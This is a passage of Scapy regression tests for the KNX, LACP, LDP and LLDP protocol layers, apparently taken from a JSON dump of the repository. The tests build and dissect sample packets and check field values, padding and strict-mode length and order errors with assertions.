KNXDescriptionRequest)\n\n= KNX Header Guess Payload KNXDescriptionResponse\np = KNX(b'\\x06\\x10\\x02\\x04\\x00>6\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x02')\nassert isinstance(p.payload, KNXDescriptionResponse)\n\n= KNX Header Guess Payload KNXConnectRequest\np = KNX(b'\\x06\\x10\\x02\\x05\\x00\\x18\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x03')\nassert isinstance(p.payload, KNXConnectRequest)\n\n= KNX Header Guess Payload KNXConnectResponse\np = KNX(b'\\x06\\x10\\x02\\x06\\x00\\x12\\x00\\x00\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x03')\nassert isinstance(p.payload, KNXConnectResponse)\n\n= KNX Header Guess Payload KNXConnectionstateRequest\np = KNX(b'\\x06\\x10\\x02\\x07\\x00\\x10\\x00\\x00\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x00')\nassert isinstance(p.payload, KNXConnectionstateRequest)\n\n= KNX Header Guess Payload KNXConnectionstateResponse\np = KNX(b'\\x06\\x10\\x02\\x08\\x00\\x08\\x00\\x00')\nassert isinstance(p.payload, KNXConnectionstateResponse)\n\n= KNX Header Guess Payload KNXDisconnectRequest\np = KNX(b'\\x06\\x10\\x02\\t\\x00\\x10\\x01\\x00\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x00')\nassert isinstance(p.payload, KNXDisconnectRequest)\n\n= KNX Header Guess Payload KNXDisconnectResponse\np = KNX(b'\\x06\\x10\\x02\\n\\x00\\x08\\x00\\x00')\nassert isinstance(p.payload, KNXDisconnectResponse)\n\n= KNX Header Guess Payload KNXConfigurationRequest\np = KNX(b'\\x06\\x10\\x03\\x10\\x00\\x15\\x04\\x01\\x00\\x00\\x00\\x00\\xbc\\xe0\\x00\\x00\\n\\x03\\x01\\x00\\x80')\nassert isinstance(p.payload, KNXConfigurationRequest)\n\n= KNX Header Guess Payload KNXConfigurationACK\np = KNX(b'\\x06\\x10\\x03\\x11\\x00\\n\\x04\\x01\\x00\\x00')\nassert isinstance(p.payload, KNXConfigurationACK)\n\n= KNX Header Guess Payload KNXTunnelingRequest\np = KNX(b'\\x06\\x10\\x04 \\x00\\x15\\x04\\x01\\x00\\x00\\x00\\x00\\xbc\\xe0\\x00\\x00\\n\\x03\\x01\\x00\\x80')\nassert isinstance(p.payload, KNXTunnelingRequest)\n\n= KNX Header Guess Payload KNXTunnelingACK\np = KNX(b'\\x06\\x10\\x04!\\x00\\n\\x04\\x01\\x00\\x00')\nassert isinstance(p.payload, KNXTunnelingACK)\n\n+ Test layer binding\n= Destination port\n\n\n"
  },
  {
    "path": "test/contrib/lacp.uts",
    "content": "% LACP unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('lacp')\" -t test/contrib/lacp.uts\n\n+ LACP\n\n= Build & dissect LACP\n\n# 1    0.000000    CiscoInc_12:0f:0d    Slow-Protocols    LACP    124    Link Aggregation Control ProtocolVersion 1.  Actor Port = 22 Partner Port = 25\nparams = dict(\n    actor_system_priority=32768,\n    actor_system='00:13:c4:12:0f:00',\n    actor_key=13,\n    actor_port_priority=32768,\n    actor_port_number=22,\n    actor_state=0x85,\n    partner_system_priority=32768,\n    partner_system='00:0e:83:16:f5:00',\n    partner_key=13,\n    partner_port_priority=32768,\n    partner_port_number=25,\n    partner_state=0x36,\n    collector_max_delay=32768,\n)\npkt = Ether(src=\"00:13:c4:12:0f:0d\") / SlowProtocol() / LACP(**params)\ns = raw(pkt)\nraw_pkt = b'\\x01\\x80\\xc2\\x00\\x00\\x02\\x00\\x13\\xc4\\x12\\x0f\\x0d\\x88\\x09\\x01\\x01\\x01\\x14\\x80' \\\n\t  b'\\x00\\x00\\x13\\xc4\\x12\\x0f\\x00\\x00\\x0d\\x80\\x00\\x00\\x16\\x85\\x00\\x00\\x00\\x02\\x14' \\\n\t  b'\\x80\\x00\\x00\\x0e\\x83\\x16\\xf5\\x00\\x00\\x0d\\x80\\x00\\x00\\x19\\x36\\x00\\x00\\x00\\x03' \\\n\t  b'\\x10\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n\t  b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n\t  b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n\t  b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nassert s == raw_pkt\n\np = Ether(s)\nassert SlowProtocol in p and LACP in p\nassert raw(p) == raw_pkt\n\n= Marker sanity\n\npkt = Ether(src=\"00:13:c4:12:0f:0d\") / SlowProtocol() / MarkerProtocol()\npkt.show()\ns = raw(pkt)\np = Ether(s)\nassert SlowProtocol in p and MarkerProtocol in p\nassert raw(p) == s\n"
  },
  {
    "path": "test/contrib/ldp.uts",
    "content": "% Regression tests for the ldp module\n\n+ Basic LDP test\n\n= Default build\n\nload_contrib(\"ldp\")\nbase = Ether()/IP()/UDP()/LDP()\npkt1 = base/LDPNotification()\npkt2 = base/LDPKeepAlive()\npkt3 = base/LDPLabelWM()\npkt4 = base/LDPHello()\npkt5 = base/LDPAddressWM()\npkt6 = base/LDPLabelMM()\n\n# Build\npkt1 = Ether(raw(pkt1))\npkt2 = Ether(raw(pkt2))\npkt3 = Ether(raw(pkt3))\npkt4 = Ether(raw(pkt4))\npkt5 = Ether(raw(pkt5))\npkt6 = Ether(raw(pkt6))\n\nassert LDPNotification in pkt1\nassert LDPKeepAlive in pkt2\nassert LDPLabelWM in pkt3\nassert LDPHello in pkt4\nassert LDPAddressWM in pkt5\nassert LDPLabelMM in pkt6\n\n= Basic dissection\npkt = Ether(b'AJH\\x18\\x07\\xfa\\xd0P\\x99V\\xdd\\xf9\\x08\\x00E\\x00\\x006\\x00\\x01\\x00\\x00@\\x11:\\x96(\\x9d\\r\\xd3\\xc1\\x1eq\\x10\\x02\\x86\\x02\\x86\\x00\"5\\xa1\\x00\\x01\\x00\\x16\\x7f\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x04\\x00\\xb4\\x00\\x00')\nassert LDPHello in pkt\nassert pkt[LDP].id == \"127.0.0.1\"\nassert pkt[LDPHello].params == [180, 0, 0]\n\n= Build advanced LDPInit()\npkti = LDPInit(u=0, id=11, params=[180, 0, 0, 0, 0, '1.1.2.2', 0])/LDPKeepAlive()\nassert raw(pkti) == b'\\x02\\x00\\x00\\x16\\x00\\x00\\x00\\x0b\\x05\\x00\\x00\\x0e\\x00\\x01\\x00\\xb4\\x00\\x00\\x00\\x00\\x01\\x01\\x02\\x02\\x00\\x00\\x02\\x01\\x00\\x04\\x00\\x00\\x00\\x00'\npkti = LDPInit(raw(pkti))\nassert pkti.params == [180, 0, 0, 0, 0, '1.1.2.2', 0]\n\n= Build advanced LDPAddress() with LDPLabelMM()\npkta = LDPAddress(address=['1.1.2.2', '172.16.2.1'])/LDPLabelMM(fec=[('172.16.2.0', 31)])/LDPLabelMM(fec=[('1.1.2.2', 32)])/LDPLabelMM(fec=[('1.1.2.1', 32)])\n\n= Advanced dissection - complex LDP\nload_contrib(\"mpls\")\npkt = Ether(b\"\\xcc\\x04\\x04\\xdc\\x00\\x10\\xcc\\x03\\x04\\xdc\\x00\\x10\\x88G\\x00\\x01-\\xfeE\\xc0\\x014\\xfe\\x84\\x00\\x00\\xff\\x06\\xb5z\\x01\\x01\\x02\\x02\\x01\\x01\\x02\\x01\\xe4\\xe4\\x02\\x86\\xbf\\xfb'\\xe4\\xb9\\xb3\\xe4GP\\x10\\x0e\\xb6v\\x9f\\x00\\x00\\x00\\x01\\x01\\x08\\x01\\x01\\x02\\x02\\x00\\x00\\x03\\x00\\x00\\x12\\x00\\x00\\x00\\x0e\\x01\\x01\\x00\\n\\x00\\x01\\x01\\x01\\x02\\x02\\xac\\x10\\x02\\x01\\x04\\x00\\x00\\x18\\x00\\x00\\x00\\x0f\\x01\\x00\\x00\\x08\\x02\\x00\\x01\\x1f\\xac\\x10\\x02\\x00\\x02\\x00\\x00\\x04\\x00\\x00\\x00\\x03\\x04\\x00\\x00\\x18\\x00\\x00\\x00\\x10\\x01\\x00\\x00\\x08\\x02\\x00\\x01 \\x01\\x01\\x02\\x02\\x02\\x00\\x00\\x04\\x00\\x00\\x00\\x03\\x04\\x00\\x00\\x18\\x00\\x00\\x00\\x11\\x01\\x00\\x00\\x08\\x02\\x00\\x01 \\x01\\x01\\x02\\x01\\x02\\x00\\x00\\x04\\x00\\x00\\x00\\x12\\x04\\x00\\x00\\x18\\x00\\x00\\x00\\x12\\x01\\x00\\x00\\x08\\x02\\x00\\x01 \\x01\\x01\\x01\\x02\\x02\\x00\\x00\\x04\\x00\\x00\\x00\\x13\\x04\\x00\\x00\\x18\\x00\\x00\\x00\\x13\\x01\\x00\\x00\\x08\\x02\\x00\\x01 \\x01\\x01\\x01\\x01\\x02\\x00\\x00\\x04\\x00\\x00\\x00\\x14\\x04\\x00\\x00\\x18\\x00\\x00\\x00\\x14\\x01\\x00\\x00\\x08\\x02\\x00\\x01\\x1f\\xac\\x10\\x01\\x00\\x02\\x00\\x00\\x04\\x00\\x00\\x00\\x15\\x04\\x00\\x00\\x18\\x00\\x00\\x00\\x15\\x01\\x00\\x00\\x08\\x02\\x00\\x01\\x1f\\xac\\x10\\x00\\x00\\x02\\x00\\x00\\x04\\x00\\x00\\x00\\x16\\x04\\x00\\x00$\\x00\\x00\\x00\\x16\\x01\\x00\\x00\\x14\\x80\\x80\\x05\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x01\\x04\\x05\\xdc\\x0c\\x04\\x03\\x02\\x02\\x00\\x00\\x04\\x00\\x00\\x00\\x10\")\nassert pkt.getlayer(LDPLabelMM, 8).fec == [('0.0.0.0', 12), ('0.0.0.0', 0), ('5.0.0.0', 4), ('2.0.0.0', 3)]\n"
  },
  {
    "path": "test/contrib/lldp.uts",
    "content": "% LLDP test campaign\n\n#\n# execute test:\n# > test/run_tests -P \"load_contrib('lldp')\" -t test/contrib/lldp.uts\n#\n\n+ Basic layer handling\n= build basic LLDP frames\n\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/ \\\n      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\\x06\\x05\\x04\\x03\\x02\\x01') / \\\n      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\\x01\\x02\\x03\\x04\\x05\\x06')/\\\n      LLDPDUTimeToLive()/\\\n      LLDPDUSystemName(system_name='mate')/\\\n      LLDPDUSystemCapabilities(telephone_available=1, router_available=1, telephone_enabled=1)/\\\n      LLDPDUManagementAddress(\n            management_address_subtype=LLDPDUManagementAddress.SUBTYPE_MANAGEMENT_ADDRESS_IPV4,\n            management_address='1.2.3.4',\n            interface_numbering_subtype=LLDPDUManagementAddress.SUBTYPE_INTERFACE_NUMBER_IF_INDEX,\n            interface_number=23,\n            object_id='abcd') / \\\n      LLDPDUEndOfLLDPDU()\n\nfrm = frm.build()\nfrm = Ether(frm)\n\n= build: check length calculation (#GH3107)\n\nframe = Ether(src='aa:bb:cc:dd:ee:ff', dst='11:22:33:44:55:66') / \\\n        LLDPDUChassisID(subtype=0x04, id='aa:bb:cc:dd:ee:ff') / \\\n        LLDPDUPortID(subtype=0x05, id='1') / \\\n        LLDPDUTimeToLive(ttl=5) / \\\n        LLDPDUManagementAddress(management_address_subtype=0x01, management_address=socket.inet_aton('192.168.0.10'))\ndata = b'\\x11\"3DUf\\xaa\\xbb\\xcc\\xdd\\xee\\xff\\x88\\xcc\\x02\\x07\\x04\\xaa\\xbb\\xcc\\xdd\\xee\\xff\\x04\\x02\\x051\\x06\\x02\\x00\\x05\\x10\\x0c\\x05\\x01\\xc0\\xa8\\x00\\n\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nassert bytes(frame) == data\n\n= add padding if required\n\nconf.contribs['LLDP'].strict_mode_disable()\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \\\n      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth0') / \\\n      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \\\n      LLDPDUTimeToLive() / \\\n      LLDPDUEndOfLLDPDU()\nassert len(raw(frm)) == 60\nassert len(raw(Ether(raw(frm))[Padding])) == 24\n\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \\\n      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth012345678901234567890123') / \\\n      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \\\n      LLDPDUTimeToLive() / \\\n      LLDPDUEndOfLLDPDU()\nassert (len(raw(frm)) == 60)\nassert (len(raw(Ether(raw(frm))[Padding])) == 1)\n\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \\\n      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth0123456789012345678901234') / \\\n      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \\\n      LLDPDUTimeToLive() / \\\n      LLDPDUEndOfLLDPDU()\nassert (len(raw(frm)) == 60)\ntry:\n      Ether(raw(frm))[Padding]\n      assert False\nexcept IndexError:\n      pass\n\n= Dissection: PtopoChassisIdType == chasIdPtopoGenAddr(5)\n\ndata = hex_bytes(\"0180c200000e00192fa7b28d88cc0206050101020304040d0155706c696e6b20746f205331060200780a0c53322e636973636f2e636f6d0cbe436973636f20494f5320536f6674776172652c20433335363020536f667477617265202843333536302d414456495053455256494345534b392d4d292c2056657273696f6e2031322e322834342953452c2052454c4541534520534f4654574152452028666331290a436f707972696768742028632920313938362d3230303820627920436973636f2053797374656d732c20496e632e0a436f6d70696c6564205361742030352d4a616e2d30382030303a3135206279207765696c697508134769676162697445746865726e6574302f31330e0400140004fe060080c2010001fe0900120f0103c03600100000\")\npkt = Ether(data)\n\nassert pkt.family == 1\nassert pkt.id == \"1.2.3.4\"\n\n= Advanced test: check definitions and length of complex IDs\n\npkt = Ether()/LLDPDUChassisID(id=\"ff:dd:ee:bb:aa:99\", subtype=0x04)/LLDPDUPortID(subtype=0x03, id=\"aa:bb:cc:dd:ee:ff\")/LLDPDUTimeToLive(ttl=120)/LLDPDUEndOfLLDPDU()\npkt = Ether(raw(pkt))\nassert pkt[LLDPDUChassisID].fields_desc[2].i2s == LLDPDUChassisID.LLDP_CHASSIS_ID_TLV_SUBTYPES\nassert pkt[LLDPDUPortID].fields_desc[2].i2s == LLDPDUPortID.LLDP_PORT_ID_TLV_SUBTYPES\nassert pkt[LLDPDUChassisID]._length == 7\nassert pkt[LLDPDUPortID]._length == 7\n\n= Network families / addresses in IDs\n\n# IPv4\n\npkt = Ether()/LLDPDUChassisID(subtype=0x05, family=1, id=\"1.1.1.1\")/LLDPDUPortID(subtype=0x04, family=1, id=\"2.2.2.2\")/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU()\npkt = Ether(raw(pkt))\nassert pkt[LLDPDUChassisID].id == \"1.1.1.1\"\nassert pkt[LLDPDUPortID].id == \"2.2.2.2\"\n\npkt = Ether(hex_bytes(b'ffffffffffff0242ac11000288cc02060501010101010406040102020202060200140000'))\nassert pkt[LLDPDUChassisID].id == \"1.1.1.1\"\nassert pkt[LLDPDUPortID].id == \"2.2.2.2\"\n\ntry:\n      pkt = Ether()/LLDPDUChassisID(subtype=0x05, family=1, id=\"2001::abcd\")/LLDPDUPortID()/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU()\n      assert False\nexcept (socket.gaierror, AssertionError):\n      pass\n\ntry:\n      pkt = Ether()/LLDPDUChassisID()/LLDPDUPortID(subtype=0x04, family=1, id=\"2001::abcd\")/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU()\n      assert False\nexcept (socket.gaierror, AssertionError):\n      pass\n\n# IPv6\n\npkt = Ether()/LLDPDUChassisID(subtype=0x05, family=2, id=\"1111::2222\")/LLDPDUPortID(subtype=0x04, family=2, id=\"2001::abcd\")/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU()\npkt = Ether(raw(pkt))\nassert pkt[LLDPDUChassisID].id == \"1111::2222\"\nassert pkt[LLDPDUPortID].id == \"2001::abcd\"\n\npkt = Ether(hex_bytes(b'ffffffffffff0242ac11000288cc0212050211110000000000000000000000002222041204022001000000000000000000000000abcd060200140000'))\nassert pkt[LLDPDUChassisID].id == \"1111::2222\"\nassert pkt[LLDPDUPortID].id == \"2001::abcd\"\n\ntry:\n      pkt = Ether()/LLDPDUChassisID(subtype=0x05, family=2, id=\"1.1.1.1\")/LLDPDUPortID()/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU()\n      assert False\nexcept (socket.gaierror, AssertionError):\n      pass\n\ntry:\n      pkt = Ether()/LLDPDUChassisID()/LLDPDUPortID(subtype=0x04, family=2, id=\"1.1.1.1\")/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU()\n      assert False\nexcept (socket.gaierror, AssertionError):\n      pass\n\n# Other\n\npkt = Ether()/LLDPDUChassisID(subtype=0x05, id=b\"\\x00\\x07\\xab\")/LLDPDUPortID(subtype=0x04, id=b\"\\x07\\xaa\\xbb\\xcc\")/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU()\npkt = Ether(raw(pkt))\nassert pkt[LLDPDUChassisID].id == b\"\\x00\\x07\\xab\"\nassert pkt[LLDPDUPortID].id == b\"\\x07\\xaa\\xbb\\xcc\"\n\npkt = Ether(hex_bytes(b'ffffffffffff0242ac11000288cc020505000007ab0406040007aabbcc060200140000'))\nassert pkt[LLDPDUChassisID].id == b\"\\x00\\x07\\xab\"\nassert pkt[LLDPDUPortID].id == b\"\\x07\\xaa\\xbb\\xcc\"\n\n+ strict mode handling - build\n= basic frame structure\n\nconf.contribs['LLDP'].strict_mode_enable()\n\n# invalid length in LLDPDUEndOfLLDPDU\ntry:\n      frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU(_length=8)\n      frm.build()\n      assert False\nexcept LLDPInvalidLengthField:\n      pass\n\n# missing chassis id\ntry:\n      frm = Ether()/LLDPDUChassisID()/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU()\n      frm.build()\n      assert False\nexcept LLDPInvalidLengthField:\n      pass\n\n# missing management address\ntry:\n      frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUManagementAddress()/LLDPDUEndOfLLDPDU()\n      frm.build()\n      assert False\nexcept LLDPInvalidLengthField:\n      pass\n\n+ strict mode handling - dissect\n= basic frame structure\n\nconf.contribs['LLDP'].strict_mode_enable()\n# missing PortIDTLV\ntry:\n      frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU()\n      Ether(frm.build())\n      assert False\nexcept LLDPInvalidFrameStructure:\n      pass\n\n# invalid order\ntry:\n      frm = Ether() / LLDPDUPortID(id='42') / LLDPDUChassisID(id='slartibart') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU()\n      Ether(frm.build())\n      assert False\nexcept LLDPInvalidFrameStructure:\n      pass\n\n# layer LLDPDUPortID occurs twice\ntry:\n      frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUPortID(id='23')  / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU()\n      Ether(frm.build())\n      assert False\nexcept LLDPInvalidFrameStructure:\n      pass\n\n# missing LLDPDUEndOfLLDPDU\ntry:\n      frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / \\\n            LLDPDUPortID(id='23') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU()\n      Ether(frm.build())\n      assert False\nexcept LLDPInvalidFrameStructure:\n      pass\n\nconf.contribs['LLDP'].strict_mode_disable()\nfrm = Ether()/LLDPDUChassisID()/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU()\nfrm = Ether(frm.build())\n\n= length fields / value sizes checks\n\nconf.contribs['LLDP'].strict_mode_enable()\n# missing chassis id => invalid length\ntry:\n      frm = Ether() / LLDPDUChassisID() / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU()\n      Ether(frm.build())\n      assert False\nexcept LLDPInvalidLengthField:\n      pass\n\n# invalid length in LLDPDUEndOfLLDPDU\ntry:\n      frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU(_length=8)\n      Ether(frm.build())\n      assert False\nexcept LLDPInvalidLengthField:\n      pass\n\n# invalid management address\ntry:\n      frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUManagementAddress() / LLDPDUEndOfLLDPDU()\n      Ether(frm.build())\n      assert False\nexcept LLDPInvalidLengthField:\n      pass\n\nconf.contribs['LLDP'].strict_mode_disable()\n\nfrm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU()\nfrm = Ether(frm.build())\n\nfrm = Ether() / LLDPDUChassisID() / LLDPDUPortID() / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU(_length=8)\nfrm = Ether(frm.build())\n\n= test attribute values\n\nconf.contribs['LLDP'].strict_mode_enable()\n\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/ \\\n      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \\\n      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id='01:02:03:04:05:06')/\\\n      LLDPDUTimeToLive()/\\\n      LLDPDUSystemName(system_name='things will')/\\\n      LLDPDUSystemCapabilities(telephone_available=1,\n                               router_available=1,\n                               telephone_enabled=1,\n                               router_enabled=1)/\\\n      LLDPDUManagementAddress(\n            management_address_subtype=LLDPDUManagementAddress.SUBTYPE_MANAGEMENT_ADDRESS_IPV4,\n            management_address='1.2.3.4',\n            interface_numbering_subtype=LLDPDUManagementAddress.SUBTYPE_INTERFACE_NUMBER_IF_INDEX,\n            interface_number=23,\n            object_id='burn') / \\\n      LLDPDUSystemDescription(description='without tests.') / \\\n      LLDPDUPortDescription(description='always!') / \\\n      LLDPDUEndOfLLDPDU()\n\nfrm = Ether(frm.build())\n\nassert frm[LLDPDUChassisID].id == '06:05:04:03:02:01'\nassert frm[LLDPDUPortID].id == '01:02:03:04:05:06'\nsys_capabilities = frm[LLDPDUSystemCapabilities]\nassert sys_capabilities.reserved_5_available == 0\nassert sys_capabilities.reserved_4_available == 0\nassert sys_capabilities.reserved_3_available == 0\nassert sys_capabilities.reserved_2_available == 0\nassert sys_capabilities.reserved_1_available == 0\nassert sys_capabilities.two_port_mac_relay_available == 0\nassert sys_capabilities.s_vlan_component_available == 0\nassert sys_capabilities.c_vlan_component_available == 0\nassert sys_capabilities.station_only_available == 0\nassert sys_capabilities.docsis_cable_device_available == 0\nassert sys_capabilities.telephone_available == 1\nassert sys_capabilities.router_available == 1\nassert sys_capabilities.wlan_access_point_available == 0\nassert sys_capabilities.mac_bridge_available == 0\nassert sys_capabilities.repeater_available == 0\nassert sys_capabilities.other_available == 0\nassert sys_capabilities.reserved_5_enabled == 0\nassert sys_capabilities.reserved_4_enabled == 0\nassert sys_capabilities.reserved_3_enabled == 0\nassert sys_capabilities.reserved_2_enabled == 0\nassert sys_capabilities.reserved_1_enabled == 0\nassert sys_capabilities.two_port_mac_relay_enabled == 0\nassert sys_capabilities.s_vlan_component_enabled == 0\nassert sys_capabilities.c_vlan_component_enabled == 0\nassert sys_capabilities.station_only_enabled == 0\nassert sys_capabilities.docsis_cable_device_enabled == 0\nassert sys_capabilities.telephone_enabled == 1\nassert sys_capabilities.router_enabled == 1\nassert sys_capabilities.wlan_access_point_enabled == 0\nassert sys_capabilities.mac_bridge_enabled == 0\nassert sys_capabilities.repeater_enabled == 0\nassert sys_capabilities.other_enabled == 0\nassert frm[LLDPDUManagementAddress].management_address == b'1.2.3.4'\nassert frm[LLDPDUSystemName].system_name == b'things will'\nassert frm[LLDPDUManagementAddress].object_id == b'burn'\nassert frm[LLDPDUSystemDescription].description == b'without tests.'\nassert frm[LLDPDUPortDescription].description == b'always!'\n\n+ organisation specific layers\n\n= ThreeBytesEnumField tests\n\nthree_b_enum_field = ThreeBytesEnumField('test', 0x00,\n                                         {\n                                             0x0e: 'fourteen',\n                                             0x00: 'zero',\n                                             0x5566: 'five-six',\n                                             0x0e0000: 'fourteen-zero-zero',\n                                             0x0e0100: 'fourteen-one-zero',\n                                             0x112233: '1#2#3'\n                                         })\n\nassert three_b_enum_field.i2repr(None, 0) == 'zero'\nassert three_b_enum_field.i2repr(None, 0x0e) == 'fourteen'\nassert three_b_enum_field.i2repr(None, 0x5566) == 'five-six'\nassert three_b_enum_field.i2repr(None, 0x112233) == '1#2#3'\nassert three_b_enum_field.i2repr(None, 0x0e0000) == 'fourteen-zero-zero'\nassert three_b_enum_field.i2repr(None, 0x0e0100) == 'fourteen-one-zero'\nassert three_b_enum_field.i2repr(None, 0x01) == '1'\nassert three_b_enum_field.i2repr(None, 0x49763) == '300899'\n\n= LLDPDUGenericOrganisationSpecific tests\n\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\\\n      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\\x06\\x05\\x04\\x03\\x02\\x01')/\\\n      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\\x01\\x02\\x03\\x04\\x05\\x06')/\\\n      LLDPDUTimeToLive()/\\\n      LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO,\n                                        subtype=0x42,\n                                        data=b'FooBar'*5\n                                        )/\\\n      LLDPDUEndOfLLDPDU()\n\nfrm = frm.build()\nfrm = Ether(frm)\norg_spec_layer = frm[LLDPDUGenericOrganisationSpecific]\nassert org_spec_layer\nassert org_spec_layer._type == 127\nassert org_spec_layer.org_code == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO\nassert org_spec_layer.subtype == 0x42\nassert org_spec_layer._length == 34\n\nl=\"A\" * 24\nc=LLDPDUChassisID.SUBTYPE_CHASSIS_COMPONENT\np=LLDPDUPortID.SUBTYPE_MAC_ADDRESS\nfrm = Ether(dst=LLDP_NEAREST_BRIDGE_MAC)/  \\\n    LLDPDUChassisID(subtype=c, id=l)/      \\\n    LLDPDUPortID(subtype=p, id=l)/         \\\n    LLDPDUTimeToLive(ttl=2)/               \\\n    LLDPDUEndOfLLDPDU()\n\ntry:\n    frm = frm.build()\nexcept:\n    assert False\n\n+ Power via MDI\n~ tshark\n\n= Define check_tshark function\n\ndef check_tshark(pkt, frame_type, selector):\n    import tempfile, os\n    fd, pcapfilename = tempfile.mkstemp()\n    wrpcap(pcapfilename, pkt)\n    rv = tcpdump(pcapfilename, prog=conf.prog.tshark, getfd=True,\n                 args=['-Y', frame_type, '-T', 'fields', '-e', selector], dump=True, wait=True)\n    os.close(fd)\n    os.unlink(pcapfilename)\n    return rv.decode(\"utf8\").strip()\n\n= Power via MDI tests\n\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\\\n      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\\x06\\x05\\x04\\x03\\x02\\x01')/\\\n      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\\x01\\x02\\x03\\x04\\x05\\x06')/\\\n      LLDPDUTimeToLive()/\\\n      LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO,\n                                        subtype=0x42,\n                                        data=b'FooBar'*5\n                                        )/\\\n      LLDPDUPowerViaMDI(MDI_power_support='PSE MDI power enabled+PSE MDI power supported',\n                        PSE_power_pair='alt B',\n                        power_class='class 3')/\\\n      LLDPDUEndOfLLDPDU()\n\nfrm = frm.build()\nfrm = Ether(frm)\npoe_layer = 